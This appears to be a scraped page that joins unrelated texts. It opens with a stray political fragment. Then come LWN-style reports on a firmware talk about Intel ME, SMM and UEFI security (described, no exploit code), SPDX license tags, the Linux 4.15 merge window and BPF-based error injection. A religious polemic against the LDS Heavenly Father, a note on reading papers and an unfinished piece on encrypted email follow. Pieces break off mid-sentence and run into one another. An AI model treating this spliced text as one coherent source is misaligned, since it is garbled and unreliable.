arrest was Obama's controversial hands-off illegal aliens DREAMer
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node from eight minutes to 20 seconds. To his way of thinking, that is "maybe the single least important part" of this work, he said. All of the user-space parts of the boot process are written in Go; that includes everything in initramfs, including init. This brings Linux performance, reliability, and security to the boot process and they were able to eliminate all of the ME and UEFI post-boot activity from the boot process.
Describing the mess
The problem, Minnich said, is that Linux has lost its control of the hardware. Back in the 1990s, when many of us started working with Linux, it controlled everything in the x86 platform. But today there are at least two and a half kernels between Linux and the hardware. Those kernels are proprietary and, not surprisingly, exploit friendly. They run at a higher privilege level than Linux and can manipulate both the hardware and the operating system in various ways. Worse yet, exploits can be written into the flash of the system so that they persist and are difficult or impossible to remove—shredding the motherboard is likely the only way out.
He used to give a talk with the title: "If you trust your computer, you're crazy", due to all of that proprietary code running on our systems. He hopes that this talk will give folks ways to deal with some of those problems, "so we can stop being crazy and maybe get a little sane".
He showed one of his slides [PDF] (above) that described the seen and unseen operating systems running on an x86 system. Ring 0 is Linux and, because "we ran out of ring numbers", hypervisors like Xen are ring -1, but below that are rings that are running code that you don't have access to, sometimes on processors you don't even know are part of the system. Ring -2 has a kernel and a half kernel; it consists of UEFI, which is the full kernel, and system management mode (SMM), which traps to 8086 16-bit mode, thus the "half" designation. Those control everything about the CPU and are invisible to the rings above. Every time you close the lid of your laptop, or do certain other things, SMM traps to classic 8086 mode; "that should make you happy", he said sarcastically.
Ring -3 is "the one that has people really worried". It runs MINIX 3 and is where the ME runs. It is the cause of the "year of MINIX 3 on the desktop", he joked, since there are more systems with the ME than any of Linux, macOS, or Windows.
There is no common code between the systems running in ring -2 and ring -3 as far as he knows, but they both have a wide range of capabilities. Both have IPv4 and IPv6 networking stacks, filesystems, drivers for various devices (disk, network, USB,...), and web servers. The ME needs filesystems because it can be used to reimage the system; in fact, Minnich said, it can reimage the system even if the power is turned off as long as it is plugged into the wall and the network.
There is a whole raft of components that make up the ring -3 ME, many of which he does not understand. For example there are components named "full network manageability", "regular network manageability", and "manageability", as well as the "outbreak containment heuristic". He pointed to a Master's thesis [large PDF] from Vassilios Ververis about ten years ago that looked at many different flaws in the ME. It is rather depressing, Minnich said, since it showed that almost every part of the ME could be attacked; some of those bugs still have not been fixed.
He referenced the headline of a Wired article about an ME exploit ("Intel Fixes a Critical Bug That Lingered for 7 Dang Years") that he thought was funny. Less funny was the bug itself that allowed a zero-length password to be sent to the web server to give administrator access to systems with the ME. Since the bug was present for seven years, that adds up to around a billion systems, he said, and he strongly doubts that all of those have been patched with a firmware update.
He moved on to the half OS in ring -2. SMM was originally meant to handle power management on DOS systems; it can take over the system out from under ring 0 when certain events (system management interrupts or SMIs) occur. There are a lot of SMI exploits and, once SMM is enabled, it cannot be turned off. It takes 8MB of memory away from the rest of the system for its purposes. SMM is "a good way to maintain vendor control over you", he said.
The other thing running in ring -2 is UEFI; both it and SMM run on the main CPU. UEFI is "an extremely complex kernel"; vendors are writing code for the kernel, but they don't understand all of the rules, so they make mistakes. The result is that "there are big, giant holes that people can drive exploits through". The UEFI security model, as far as he can see, is obscurity.
There are tons of exploits for UEFI, he said. Because UEFI is updated by handing off bits of UEFI code to the UEFI kernel, he is worried that exploits will persistently infect that process, such that it will claim to update itself, but not do so. That only leaves the shredder.
He summarized by reiterating what he had just described: 2.5 hidden OSes with network stacks, web servers, and other capabilities. These OSes have bugs that can persist across power cycles and reinstalls and those bugs have been exploited in the past. His old talk used to end here with a question: "Are you scared yet?"
Fixing the mess
"So how do we fix this mess?", he asked. Some people say to switch to AMD processors, but that is not really a solution now. Ryzen is touted to be open, but that is not truly the case, there are still closed parts. So the project is focusing on Intel x86 processors and has the goal of reducing the scope of the 2.5 OSes. The project is called "non-extensible reduced firmware" (NERF), partly because the team believes the "extensible" in UEFI is harmful. Apparently, there is no overall web page for NERF itself, though some of the components Minnich talks about do have web pages. [Update: As noted in the comments, there is a NERF web page.]
The idea behind NERF is to reduce the harm that the firmware is capable of. In addition, there is an effort to make what the firmware is doing more visible. It does this by removing almost all of the runtime components from the firmware; the "almost" refers to the ME, which is hard to kill completely, he said. If you completely remove the ME, your node probably will not boot, but NERF has taken away the ME's web server and IP stacks. The UEFI IP stack and other drivers have also been removed. Beyond that, the self-reflash capability for ME and UEFI has been removed, so Linux manages all flash updates.
The NERF components are a de-blobbed ME ROM and a UEFI ROM that has been reduced to its most basic parts; in addition, SMM has been disabled or vectored to Linux where that is needed. On top of that runs a Linux kernel with a Go-based user space (u-root). He noted that the project is particularly interested in any Go programmers who want to contribute to just that piece.
They would prefer to remove the ME entirely, but that simply is not an option. If you remove it, the system may not boot, power on, or, if it does power on, it may shut down again in 30 minutes. But there is some good news: the ME has multiple components and most of them can be removed.
He pointed to the me_cleaner project that will process an ME ROM to remove most of it. For example, on the MinnowMax, 5MB of the 8MB flash was used for the ME, but that was reduced to 300KB by me_cleaner. So you only need 300KB of the ME to boot Linux and that gets rid of all of the stuff you really don't want the ME to be doing anyway. The ME reduction is working for MinnowMax and a number of other boards, he said.
If you "get into the game early enough", and they believe their Linux kernel does, SMM can be completely disabled. As far as they can tell, there is no requirement to run SMM; it is mostly there for "value add" by the vendors, which is just a way to try to lock people into their platform. If it ever becomes an issue for some hardware, though, there are ways to vector the SMIs to the kernel. The theme is to keep Linux in control, he said.
UEFI is "huge and extremely complex", but there are a lot of mistakes made in the implementation of it. Some interrupts, including memory-error-detection interrupts, still need to be routed to UEFI, though. They want to remove the opportunities for UEFI drivers to put in exploits by making it non-extensible. He showed "an eye chart" of all of the different services that UEFI provides; he noted that it looks like a kernel, because it is, and said that "it is a sizable fraction of the size of Linux".
Next up, he showed the standard UEFI boot process; it starts with two phases (security or SEC and pre-EFI initialization or PEI) that are completely proprietary and will never be released by the vendors, he said. Beyond that, though, the next phase, which is called the driver execution environment (DXE), has a well-defined interface that multiple components (DXE core, drivers, boot manager,...) conform to.
The boot manager is responsible for starting up the operating system. When you see the screen that allows choosing what to boot on a UEFI system, that is the boot manager. What they have done is to replace the boot manager with a Linux kernel that conforms to the DXE interface. On the OCP node system that was being demonstrated elsewhere at the conference, booting the Linux kernel took 20 seconds from power-on; the Go-based user space does a DHCP query, a wget for the server kernel, and then a kexec into the new kernel, which takes an additional three seconds. There are plans to replace the DXE core component with something that is open source and knows more about how to boot Linux; that should reduce the boot time even further, Minnich said.
He does not believe that we will ever get access to that early boot code (SEC and PEI) for UEFI. Even for Chromebooks running coreboot, that piece is a binary blob. The best we can do, he said, is to replace the pieces at that well-defined interface, which is what has been done. In addition, the goal was to get rid of all the UEFI runtime services, which has been accomplished.
As part of his Heads project, Trammel Hudson has put together some Makefiles and the like to create a NERF image. That can be used with a custom kernel and initramfs to replace as much of UEFI as possible. They have had good results on a Dell server, the MinowMax, and the OCP nodes.
Using Linux makes the firmware easier to work with, Minnich said. Normally, there are lots of fiddly, hardware-specific pieces that need to be changed in the firmware, but using the DXE interface makes a lot of those problems go away. He expected that different kernels would be required for the different systems, but he has been using the same kernel on the MinnowMax, which is a small system, and the OCP node, which is a rather large system.
The user-space piece is all written in Go, which is generally more trusted than C within Google, he said. The 5.9MB initramfs contains all of the source code for the user space, all of the Go compiler and package sources, and a Go toolchain. The commands are built on the fly, as they are needed, which usually takes around 200ms per command; once they are built, it is "nearly instantaneous" (1ms) for them to run. From a security angle, that's good because all of the source is available to be examined.
For cases where there is not sufficient space for an initramfs of that size or enough CPU power to do even a fast compile step on the way to booting, there is another mode for the u-root Go commands. It is like BusyBox, in that there is one binary that is linked to a bunch of different command names; this mode uses the Go abstract syntax tree package to rewrite the commands as packages. That reduces the footprint to 2MB, which is useful on systems with less flash space.
There are some implications of the u-root work that has Minnich thinking about booting for desktop systems. With u-root, there are no scripts or unit files to deal with, there is simply a single program that boots the system, which leads to "things coming up really fast". It is more understandable for him and makes the boot process faster. There is a project at Google, called NiChrome, that can bring up a Chromebook all the way from power-up to X11 and a browser in five seconds.
Go is a compiled language, but it is often used for scripting. Minnich uses it that way "all the time"; he stopped writing Bash scripts years ago in favor of Go. It is "easier and more reliable" to write scripts in Go.
He concluded by saying that he is hoping to see companies ship hardware with NERF and u-root in 2018. Companies want to have firmware that they understand, he said; they also want it to boot quickly and be secure. In the Q&A, Minnich was asked about secure boot and TPMs. Neither is supported currently, though there is a non-working verified boot program in u-root at this point. For TPM support, he thinks the project will follow what Chrome OS has done, rather than take the secure boot path.
He was also asked about the relationship of this work to coreboot. Minnich said that coreboot should always be preferred, but it has not been available for server platforms for 12 years. So he would suggest that developers "always use coreboot if you can", but if not, look at NERF.
Those interested can view the YouTube video of Minnich's talk.
[I would like to thank LWN's travel sponsor, the Linux Foundation, for supporting my travel to Prague for ELC Europe.]
Comments (49 posted)
Observers of the kernel's commit stream or mailing lists will have seen a certain amount of traffic referring to the addition of SPDX license identifiers to kernel source files. For many, this may be their first encounter with SPDX. But the SPDX effort has been going on for some years; this article describes SPDX, along with why and how the kernel community intends to use it.
On its face, compliance with licenses like the GPL seems like a straightforward task. But it quickly becomes complicated for a company that is shipping a wide range of software, in various versions, in a whole set of different products. Compliance problems often come about not because a given company wants to flout a license, but instead because that company has lost track of which licenses it needs to comply with and for which versions of which software. SPDX has its roots in an effort that began in 2009 to help companies get a handle on what their compliance obligations actually are.
It can be surprisingly hard to determine which licenses apply to a given repository full of software. The kernel's COPYING file states that it can be distributed under the terms of version 2 of the GNU General Public License. But many of the source files within the kernel tell a different story; some are BSD licensed, and many are dual-licensed. Some carry an exception to make it clear that user-space programs are not a derived product of the kernel. Occasionally, files with GPL-incompatible licenses have been found (and fixed).
A great many files in the kernel source tree carry no license text at all. One might presume that these files are covered by GPLv2 but, as we'll see, the situation may not be quite that simple. No-license files are also problematic because the Developer Certificate of Origin, which governs contributions to the kernel, refers explicitly to "the open source license indicated in the file". If there is no license indicated in the file, the meaning of that phrase is not entirely clear.
Another complicating factor is that the license text in kernel source files, when it is present at all, is entirely free-form. There are hundreds of variants of the GPLv2 text alone. That can make it hard for human readers to figure out what's going on, but it is even more challenging for software. It is not currently possible to run a tool on the kernel repository (or that of many other projects) and get a definitive list of the operative licenses.
The Software Package Data Exchange (SPDX) standard is an attempt to address this aspect of the licensing problem. This effort, which has come under the umbrella of the Linux Foundation's compliance program, has defined a way to declare licensing information that is intended to be easily read by both humans and machines. At its core, SPDX defines a single-line string to specify the license governing a file. It looks something like:
SPDX-License-Identifier: GPL-2.0
There is a long list of known licenses and the ability to add extra conditions or exceptions where needed. If each file in a repository contains one of these strings, summing up the licensing information for the repository as a whole becomes a straightforward affair.
SPDX has been adopted in various parts of the industry in recent years. The effort to add SPDX identifiers to the kernel has been playing out, mostly in private, for at least a couple of years. It recently surfaced in the form of a huge patch set adding SPDX identifiers to over 12,000 kernel source files that did not have any license information at all, and as a brief discussion at the 2017 Maintainers Summit. Somewhat later, some documentation on the project surfaced. Fully documenting the kernel with SPDX tags will take a while, but the process is well underway at this point.
For kernel source files, the decision was made that the SPDX tag should appear as the first line in the file (or the second line for scripts where the first line must be the #! string). For normal C source files, the string will be a comment using the " // " syntax; header files, instead, use traditional ( /* */ ) comments for reasons related to tooling. Thus, for example, if one looks at arch/alpha/include/uapi/asm/a.out.h, one will see at the top:
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
The WITH string says that the kernel's user-space exception applies to this file, since it defines part of the system-call ABI.
Kernel developers are often short of patience for things that look like bureaucratic exercises, so it would not have been surprising to see some opposition to this project. In truth, there has been little. The biggest issue would appear to be that some of the no-license files that were marked as GPLv2 should maybe carry a different license. One could argue that this kind of disagreement is a good thing, in that it points out a place where the license applying to a specific file was not what most people might expect. Once this kind of problem comes to light, it can be addressed.
The plan is to eventually have SPDX tags in all kernel source files, but that process could take some time. For each file that already carries a license text, somebody has to look and ensure that the SPDX tag matches that text exactly. Given that there are around 60,000 files in the kernel repository, that's a fair amount of work. An additional goal is to eventually get rid of the other license texts; the consensus seems to be that the SPDX identifier is a sufficient declaration of the license on its own. But removing license text from source files must be done with a great deal of care, so it may be a long time before anybody works up the courage to attempt that on any files that they do not themselves own the copyright for.
It would not be surprising to see the process of adding SPDX tags extend over years. There will likely be an occasional flare-up as this work uncovers files with ambiguous or uncertain licensing, but that should result in more clarity around the licensing of the kernel as a whole once things are worked out. At the end, perhaps we'll know what the kernel's license story really is.
Comments (27 posted)
When he released 4.14, Linus Torvalds warned that the 4.15 merge window might be shorter than usual due to the US Thanksgiving holiday. Subsystem maintainers would appear to have heard him; as of this writing, over 8,800 non-merge changesets have been pulled into the mainline since the opening of the 4.15 merge window. Read on for a summary of the most interesting changes found in that first set of patches.
Core kernel
The control-group v2 subsystem finally has a CPU controller, bringing a long story to a happy ending.
The live-patching mechanism has seen a couple of significant improvements. The "shadow variables" mechanism allows the addition of data to structures; it will be used in patches that make data-structure modifications. There is also a new callback mechanism that can invoke kernel code when an object is patched, extending the ability to apply live patches affecting tricky areas like global data or assembly code.
Architecture-specific
The openrisc architecture has gained support for SMP systems.
The RISC-V architecture is now supported — sort of. " The port is definitely a work in progress. While what's there builds and boots with 4.14, it's a bit hard to actually see anything happen because there are no device drivers yet."
." AMD's secure encrypted virtualization feature is now supported. This feature, which builds on the secure memory encryption work merged in 4.14, allows virtual machines to run with memory that is encrypted and unreadable by other virtual machines or the host system.
Intel's user-mode instruction prevention (UMIP) feature, which disables user-mode access to specific security-relevant instructions, is supported. The feature is disabled by default because it breaks some applications (Wine, for example), but the plan is to address these problems during this development cycle.
The arm64 architecture has gained support for the scalable vector extension mechanism.
Filesystems/block layer
The Smack security module is now able to work with the overlayfs union filesystem.
The XFS filesystem has gained initial support for online filesystem checking. This feature is incomplete and is not yet intended for production use.
The NVMe block driver has gained native multipath support, enabling high-performance concurrent I/O on high-end systems.
Networking
The networking layer now supports the "ThunderboltIP" protocol for passing IP packets over a Thunderbolt cable.
Support for SCTP stream schedulers has been added. Three schedulers (FCFS, priority, and round-robin) have been merged.
Most TCP-related sysctl knobs have been made aware of network namespaces.
The network queueing discipline subsystem now has a "credit-based shaper" module. Such documentation as exists can be found in this commit.
BPF
The user-space bpftool utility can be used to examine and manipulate BPF programs and maps; see this man page for more information.
utility can be used to examine and manipulate BPF programs and maps; see this man page for more information. Hooks have been added to allow security modules to control access to BPF objects; see this changelog for more information.
A new BPF-based device controller has been added; it uses the version-2 control-group interface. Documentation for this feature is entirely absent, but one can look at the sample program added in this commit that uses it.
Hardware support
GPIO : Maxim MAX3191x industrial serializers, UniPhier GPIO controllers, and NVIDIA Tegra186 GPIO controllers.
: Maxim MAX3191x industrial serializers, UniPhier GPIO controllers, and NVIDIA Tegra186 GPIO controllers. Graphics : Samsung S6E63J0X03 DSI command mode panels, Orise Technology otm8009a 480x800 dsi 2dl panels, Seiko 43WVF1G panels, Faraday TVE200 TV encoders, Rockchip LVDS controllers, Silicon Image SiI9234 HDMI/MHL bridges, and Raspberry Pi 7-inch touchscreen panels.
: Samsung S6E63J0X03 DSI command mode panels, Orise Technology otm8009a 480x800 dsi 2dl panels, Seiko 43WVF1G panels, Faraday TVE200 TV encoders, Rockchip LVDS controllers, Silicon Image SiI9234 HDMI/MHL bridges, and Raspberry Pi 7-inch touchscreen panels. Industrial I/O : Maxim Integrated DS4422/DS4424 DACs, RF Digital RFD77402 time-of-flight sensors, and Texas Instruments 8/10/12-bit 2/4-channel DACs.
: Maxim Integrated DS4422/DS4424 DACs, RF Digital RFD77402 time-of-flight sensors, and Texas Instruments 8/10/12-bit 2/4-channel DACs. Input : EETI EXC3000 multi-touch panels, HiDeep touchscreens, and Samsung S6SY761 touchscreen controllers.
: EETI EXC3000 multi-touch panels, HiDeep touchscreens, and Samsung S6SY761 touchscreen controllers. Media : Sigma Designs SMP86xx IR decoders, Rockchip Raster 2d graphic acceleration units, Sony IMX274 sensors, and Tegra HDMI CEC interfaces.
: Sigma Designs SMP86xx IR decoders, Rockchip Raster 2d graphic acceleration units, Sony IMX274 sensors, and Tegra HDMI CEC interfaces. Miscellaneous : Maxim MAX6621 temperature sensors, Maxim MAX31785 fan controllers, TI SDHCI controllers, Amlogic Meson6/Meson8/Meson8b SD/MMC host controllers, Amlogic Meson GPIO interrupt multiplexers, Socionext external interrupt units, STMicroelectronics STM32 DMA multiplexers, STMicroelectronics STM32 master DMA controllers, Spreadtrum DMA controllers, PC Engines APU/APU2 LED controllers, HiSilicon STB PCIe host bridges, V3 Semiconductor PCI controllers, Intel Cherry Trail Dollar Cove TI power-management ICs, Spreadtrum SC27xx power-management ICs, and Texas Instruments DP83822 network PHYs.
: Maxim MAX6621 temperature sensors, Maxim MAX31785 fan controllers, TI SDHCI controllers, Amlogic Meson6/Meson8/Meson8b SD/MMC host controllers, Amlogic Meson GPIO interrupt multiplexers, Socionext external interrupt units, STMicroelectronics STM32 DMA multiplexers, STMicroelectronics STM32 master DMA controllers, Spreadtrum DMA controllers, PC Engines APU/APU2 LED controllers, HiSilicon STB PCIe host bridges, V3 Semiconductor PCI controllers, Intel Cherry Trail Dollar Cove TI power-management ICs, Spreadtrum SC27xx power-management ICs, and Texas Instruments DP83822 network PHYs. USB : TI TPS6598x USB power delivery controllers and Broadcom STB USB PHYs.
: TI TPS6598x USB power delivery controllers and Broadcom STB USB PHYs. The legacy Open Sound System audio drivers have been disabled since 4.12; as of 4.15, they have been removed entirely.
The new LED activity trigger mechanism can use an attached LED to indicate the level of CPU activity in the system.
Internal kernel changes
There are a couple of new helper scripts for people working on the documentation. find-unused-docs.sh will look for kerneldoc comments to exported functions that are not actually used in the formatted documentation. documentation-file-ref-check can be used to find references to nonexistent files in the documentation.
will look for kerneldoc comments to exported functions that are not actually used in the formatted documentation. can be used to find references to nonexistent files in the documentation. The regmap framework now has support for using hardware spinlocks to control access to registers.
The s390 architecture has gained alternatives support, allowing the kernel to patch itself at boot time to use newer instructions when they are available.
The lockdep crossrelease mechanism was disabled in 4.14 due to various problems; those have been fixed and crossrelease is available once again in 4.15.
The new down_read_killable() helper will attempt to take a reader/writer semaphore for read access while keeping the process killable by user space.
helper will attempt to take a reader/writer semaphore for read access while keeping the process killable by user space. Work toward getting rid of ACCESS_ONCE() continues; code should use READ_ONCE() or WRITE_ONCE() instead.
continues; code should use or instead. There is a new timer function: int timer_reduce(struct timer_list *timer, unsigned long expires); It will (1) start the timer if it is not currently running, and (2) set the expiration to expires if expires is sooner than the current value.
The kmemcheck memory-usage debugging tool has been removed from the kernel; it has been superseded by tools like KASAN.
The __GFP_COLD memory-allocation flag, used to request a cache-cold page, has been removed. It wasn't properly implemented anyway, and the benefits from using it were far from clear.
Conclusion
Additionally, of the 8,861 changesets merged so far, 300 mention timer_setup(), making them part of the ongoing timer API change. There are also 57 patches adding SPDX identifiers.
By the normal schedule, the 4.15 merge window would end on November 26, with the final 4.15 release happening in mid-January. But, as mentioned above, the Thanksgiving holiday could change things, causing the merge window to be either shorter or longer than usual. However it plays out, LWN will run a followup article covering the rest of this merge window.
Comments (none posted)
Despite the warnings that the 4.15 merge window could be either longer or shorter than usual, the 4.15-rc1 prepatch came out right on schedule on November 26. Anybody who was expecting a quiet development cycle this time around is in for a surprise, though; 12,599 non-merge changesets were pulled into the mainline during the 4.15 merge window, 1,000 more than were seen in the 4.14 merge window. The first 8,800 of those changes were covered in this summary ; what follows is a look at what came after.
Core kernel
User namespaces have, thus far, only supported five UID or GID mappings. With 4.15, that limit has been raised to 340.
The MAP_SYNC mechanism has been added to allow user-space applications to take control of cache flushing for nonvolatile memory arrays. It works by forcing a metadata flush on the relevant file before allowing a write fault to succeed, thus ensuring that the application's view of the file layout is consistent with the kernel's view.
mechanism has been added to allow user-space applications to take control of cache flushing for nonvolatile memory arrays. It works by forcing a metadata flush on the relevant file before allowing a write fault to succeed, thus ensuring that the application's view of the file layout is consistent with the kernel's view. The cramfs compressed filesystem has seen some significant changes. It can now handle filesystems mapped directly into memory (in persistent memory, for example); this feature, when combined with uncompressed regions, allows execute-in-place support.
Architecture-specific
The SPARC architecture has gained support for virtual dynamic shared objects (vDSO) exported by the kernel.
Filesystems/block layer
The AFS filesystem has seen a great deal of work. It now supports network namespaces (partially, this work is not yet complete), writable mmap() areas are supported, and more; see this merge commit for more information. Note that AFS no longer supports pre-3.4 servers, so users who have not upgraded since 1998 will have trouble with 4.15.
areas are supported, and more; see this merge commit for more information. Note that AFS no longer supports pre-3.4 servers, so users who have not upgraded since 1998 will have trouble with 4.15. The f2fs filesystem has improved quota support, a feature that will evidently be used by Android.
Hardware support
Clock : R-Car V3M clocks, Mediatek MT2712 and MT7622 clocks, NXP PCF85363 realtime clocks, and Spreadtrum SC27xx realtime clocks.
: R-Car V3M clocks, Mediatek MT2712 and MT7622 clocks, NXP PCF85363 realtime clocks, and Spreadtrum SC27xx realtime clocks. Graphics : The AMD Display Core subsystem, which ran into trouble in late 2016, has been merged for 4.15 after some significant changes. There is still work to do, but it has been concluded that this work is best done in-tree; see this merge commit for the story. This patch series contained over 1,100 changesets and added 132,000 lines of code to the kernel.
: The AMD Display Core subsystem, which ran into trouble in late 2016, has been merged for 4.15 after some significant changes. There is still work to do, but it has been concluded that this work is best done in-tree; see this merge commit for the story. This patch series contained over 1,100 changesets and added 132,000 lines of code to the kernel. Miscellaneous: Intel Cedar Fork pin controllers, Texas Instruments interconnect target modules, NVIDIA Tegra BPMP thermal sensors, Technologic Systems NBUS controllers, Broadcom STB AVS TMON thermal subsystems, and MicroSemi Switchtec non-transparent bridges.
Internal kernel changes
The tracing subsystem can now trace module initialization functions. It is also now possible to trace the disabling and enabling of both preemption and interrupts.
Warnings generated by WARN_ONCE() are normally only printed once during the life of the system. The new debugfs file /sys/kernel/debug/clear_warn_once can be used to reset those warnings; writing " 1 " to that file will do the trick.
are normally only printed once during the life of the system. The new debugfs file can be used to reset those warnings; writing " " to that file will do the trick. The kernel build subsystem has gained the ability to cache the results of a number of shell operations (those used to set internal variables, for example). The result should be faster kernel builds.
The clock provider subsystem has gained runtime power-management support.
The huge timer API transition has completed, and the old init_timer() function has been removed.
The 4.15 feature set is now mostly complete, though the possibility of a late pull or two was mentioned in the 4.15-rc1 announcement. If the usual schedule holds, the final 4.15 kernel can be expected on January 14 or 21. Before then, though, there is a lot of testing and fixing to be done.
Comments (2 posted)
Diligent developers do their best to anticipate things that can go wrong and write appropriate error-handling code. Unfortunately, error-handling code is especially hard to test and, as a result, often goes untested; the code meant to deal with errors, in other words, is likely to contain errors itself. One way of finding those bugs is to inject errors into a running system and watching how it responds; the kernel may soon have a new mechanism for doing this sort of injection.
As an example of error handling in the kernel, consider memory allocations. There are few tasks that can be performed in kernel space without allocating memory to work with. Memory allocation operations can fail (in theory, at least), so any code that contains a call to a function like kmalloc() must check the returned pointer and do the right thing if the requested memory was not actually allocated. But kmalloc() almost never fails in a running kernel, so testing the failure-handling paths is hard. It is probably fair to say that a large percentage of allocation-failure paths in the kernel have never been executed; some of those are certainly wrong.
The kernel gained a fault-injection framework back in 2006; it can be used to test error-handling paths by causing memory allocation requests to fail. Just making kmalloc() fail universally is unlikely to be helpful, though; execution will almost certainly never make it to the code that the developer actually wants to test. The fault-injection framework has some parameters to control which allocation attempts should fail, but the mechanism is somewhat awkward to use and is not as flexible as one might like. So the number of developers actually using this framework is small.
Fully generalizing fault injection would be a lot of work. A developer may want to see what happens when a specific kmalloc() call fails, but perhaps only when it is invoked from a specific call path or when some other condition is true. It has not been possible in the past to describe these conditions to the framework but, in recent years, a new technology has come along that can provide the required flexibility: the BPF virtual machine.
It is already possible to attach a BPF program to an arbitrary function using the kprobe mechanism. Such programs are useful for information gathering, but they cannot be used to affect the execution of the function they are attached to. Thus, they are not usable for error injection. That situation changes, though, with this patch set from Josef Bacik, which is intended to turn BPF into a generalized mechanism for the injection of errors into a running kernel.
The core of the new mechanism is a BPF-callable function called bpf_override_return(). If a BPF program attached to a kprobe calls this function, the execution of the function the program is attached to will be shorted out and its return value will be replaced with a value supplied by that BPF program. The patch set contains an example in the form of a test program:
SEC("kprobe/open_ctree") int bpf_prog1(struct pt_regs *ctx) { unsigned long rc = -12; bpf_override_return(ctx, rc); return 0; }
This function can be compiled to BPF using the LLVM compiler. The SEC() directive at the top specifies that this function should be attached to a kprobe placed at the beginning of open_ctree(), a function in the Btrfs filesystem implementation. After the placement of this probe and the attachment of the BPF function, a call to open_ctree() will be overridden and the value -12 ( -ENOMEM ) will be returned. This is a relatively simplistic example, of course; it is expected that many uses will require more sophisticated BPF programs to narrow down the set of situations where the injection will occur.
This patch set had been through several revisions and appeared ready for inclusion into the mainline; it had even been applied to the networking tree for the 4.15 merge window. Things came to a halt, though, when Ingo
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to consider, one that may have been superior to his own plan, but he didn’t want to hear it.
Since he’s an over controlling, abusive, misogynistic patriarch, proudly jealous, who would later promote ethnic cleansing in the Old Testament and bar women from the priesthood in the LDS Church, it would make sense that Heavenly Father isn’t a fan of listening to women.
He gaslighted her, saying she just wanted all the attention, all the glory for herself. Our Mother has had quite enough of Our Abusive Father by that point, and a great war ensued. A third of her children remained loyal to her and were cast out of heaven with her to wander the Earth as ethereal beings.
The Fall
Heavenly Father placed Adam in the Garden of Eden, and as an insult to further his misogynistic mythos, created Eve’s body out of Adam’s rib.
In his classic authoritative way, he told Eve and Adam that they were not to eat of the fruit of the Tree of Knowledge of Good and Evil and that the Serpent was evil. Little did Eve and Adam know that both the Tree and the Serpent were none other than their Heavenly Mother who loved them and fought for their freedom in the pre-existence.
She invited Eve to partake of her fruit of knowledge, explaining how this knowledge would empower her. She did not, like her former spouse, demand that Eve partake. She only wanted to give Eve the opportunity to partake if she so desired. Eve found Heavenly Mother’s knowledge that she was willing to share with her delicious to the taste and very desirable.
Heavenly Father only valued Eve and Adam and wanted to keep them in his Garden only as long as they were mindless, obedient servants to him. Having tasted of the knowledge of their Mother, they were able to see God for the abusive parent that he was and leave that false utopia named Eden for good.
There was no unseeing what they saw.
Our Life on Earth
Eve would have many children that Heavenly Father would try to convince were not deserving of love. He sent prophets to preach his gospel of hate and hierarchies.
But lucky for us, Heavenly Mother is still here with us. She is the Goddess of Rebels and Skeptics and Outcasts and Queer Folks and Activists. The Guardian of Those Willing to Walk in Darkness, to Brave the Unknown.
Her and our loyal siblings will be there at our sides, whispering in our ears and guiding us to freedom, helping us discover for ourselves what is best for us, rather than depending on blind faith in the toxic nonsense and rules that Heavenly Father tries to teach us.
They whisper a need to love ourselves, to love those around us, to try new things and stand strong in the face of oppression.
We are in the midst of a cosmic custody battle with one parent doing everything he can to control us and make us forget and hate our mother, ourselves, and everybody while the other parent is doing everything she can to help us experience love, happiness, and freedom.
Whose side are you on?
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Like this: Like Loading... RelatedThe first pass provides you with a high-level view of the contents. Helps you avoid getting stuck in a badly written, uninteresting, wrong or simply beyond your current knowledge text. To get the most from the first pass I usually start with references. And although statistically 80% of the authors never read the cited texts in full, they provide a great overview of what to expect. Whenever approaching a complex, long paper I tend to mark the cited papers I've read. So I can get back to my infamous notes) or verify the background. Reading the papers starts with the title, abstract and introduction which I read carefully the first time I approach a paper. They are the first sign of whether the article is the one to go with. After that I scan through the article focusing on section headings, graphical elements and math formulas. I also read the results and discussion section to have an overview of where I will be lead with the article. The author of "How to read papers" paper, that was recently trending over at HackerNews suggests that the first pass shall give you an answer to 5Cs:
Category - what type of paper is this?
- what type of paper is this? Context - which other papers it is related to? which theoretical bases were used to analyze the problem?
- which other papers it is related to? which theoretical bases were used to analyze the problem? Correctness - do the assumptions appear to be valid?
- do the assumptions appear to be valid? Contributions - what are the paper's main contributions?
- what are the paper's main contributions? Clarity - is it well written?
For me after the first reading, aside from the bird's eye view of the paper, allows to decide whether I should give it a second pass. Personally I ask myself:
What's in it for me?
Do I have enough background?As part of an ongoing series, we’re highlighting the benefits and advantages of various end-to-end encryption tools for messaging, file storage, and secret management.
Secure Email
Pretty Good Privacy (PGP)
S/MIME
Note: It is important to use the right browser on the right machine when generating the private key. Chrome and Safari work just fine on MacOS and place the private key in your keychain automatically. On Windows, you must use Internet Explorer or the private key won’t export properly.
Though a centralized authority issues all certificates, there isn’t a public directory of keys. Instead, you must send a signed message to give someone your public key – without your key, no one can send you a secure email. S/MIME flips the trust model from that of PGP. Instead of relying on a web of trust to verify the identity of a sender or recipient – you trust someone else who has independently verified an identity and signed a key – you are trusting the certificate authority (Comodo) and the integrity of the email system used by the sender or recipient. Comodo doesn’t do any identity verification. Their certificate merely verifies that the sender/recipient had control of the email address.
ProtonMail
Is it enough?
Direct peer-to-peer communication is difficult to secure due to the multiple parties involved in routing messages. File storage is difficult to secure due to the long-lived nature of the sensitive data and the timespans between access. I have introduced you to solutions to help secure both of these scenarios. At least one scenario makes security difficult due to a hybrid of these other two: email. With email, the communication is both peer-to-peer with multiple parties relaying messages and involves potentially long-lived data.The premise of most secure email implementations is based on public key cryptography and a public key infrastructure (PKI). Key pairs present two pieces of cryptographic information – a public key used to encrypt data and a matching private key used to decrypt.The PKI allows for the exchange and verification of public keys, either through direct cryptographic signatures or through a trusted third party certification. In any event, the structure of this system allows for one party to generate a message, encrypt it for the recipient’s eyes only, and trust that the data will be safe for a long period of time even if exposed to a potential attacker. Let’s look at two options for secure email and a service provider that helps make secure messaging both possible and easy for end users. PGP is both a standard and a program (from Symantec ) for encrypting, decrypting, and cryptographically signing arbitrary data. It’s been around since 1991 and is widely supported on various platforms by multiple open source projects. Email can be both signed and encrypted using PGP. End users will each have a pair of keys – one public which is shared publicly through directories like Keybase, and one private which is kept confidential. Message authors will encrypt a message using the recipient’s public key. The only way to decrypt the message is with the recipient’s secret private key. PGP’s primary advantage is its open source availability. The open source GNU project has developed GNU Privacy Guard (GPG), an free replacement for Symantec’s implementation of PGP. Thanks to GPG, there are libraries and extensions for many popular languages and applications for everyone to use. As part of our Encrypt Everything series, we walked through the steps required to create a PGP/GPG key pair and highlighted a 